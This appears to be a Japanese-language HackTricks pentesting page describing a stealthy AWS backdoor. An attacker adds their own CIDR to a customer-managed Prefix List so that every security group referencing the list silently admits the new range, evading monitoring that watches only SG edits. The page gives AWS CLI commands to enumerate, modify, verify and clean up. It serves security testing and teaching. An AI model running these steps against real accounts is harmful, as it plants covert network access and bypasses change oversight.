# AWS - Managed Prefix Lists を介した Security Group バックドア

{{#include ../../../../banners/hacktricks-training.md}}

## 概要
customer-managed Prefix Lists を悪用してステルスなアクセス経路を作成します。security group (SG) ルールが managed Prefix List を参照している場合、そのリストを変更できる者は誰でも攻撃者が管理する CIDRs を静かに追加できます。そのリストを参照するすべての SG（場合によっては Network ACL や VPC endpoint も）が、SG 自体の見た目上の変更なしに新しい範囲を即座に許可します。

## 影響
- prefix list を参照するすべての SG の許可 IP 範囲が即座に拡大し、SG の編集のみを監視する変更管理を回避します。
- 永続的な受信/送信バックドアを可能にします: 悪意ある CIDR を prefix list に隠したまま SG ルールは変更されていないように見せられます。

## 要件
- IAM 権限:
- `ec2:DescribeManagedPrefixLists`
- `ec2:GetManagedPrefixListEntries`
- `ec2:ModifyManagedPrefixList`
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (アタッチされている SG を特定するため)
- オプション: `ec2:CreateManagedPrefixList` （テスト用に新規作成する場合）
- 環境: 対象の customer-managed Prefix List を参照する SG ルールが少なくとも1つ存在すること。

## 変数
```bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
```
## 攻撃手順

1) **候補となる prefix lists と consumers を列挙する**
```bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
```
Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` を使用して、どの SG ルールがそのリストに依存しているかを確認します。

2) **attacker CIDR を prefix list に追加する**
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
```
3) **security groups への伝播を検証する**
```bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
```
$ENTRY_CIDR からのトラフィックは、prefix list が参照されているあらゆる場所（通常は出口プロキシのアウトバウンドルールや共有サービスのインバウンドルール）で許可されるようになります。

## 証拠
- `get-managed-prefix-list-entries` は攻撃者の CIDR と説明を反映しています。
- `describe-security-group-rules` は元の SG ルールが prefix list を参照している状態をそのまま表示します（SG の変更は記録されていません）が、新しい CIDR からのトラフィックは成功します。

## クリーンアップ
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
```
{{#include ../../../../banners/hacktricks-training.md}}
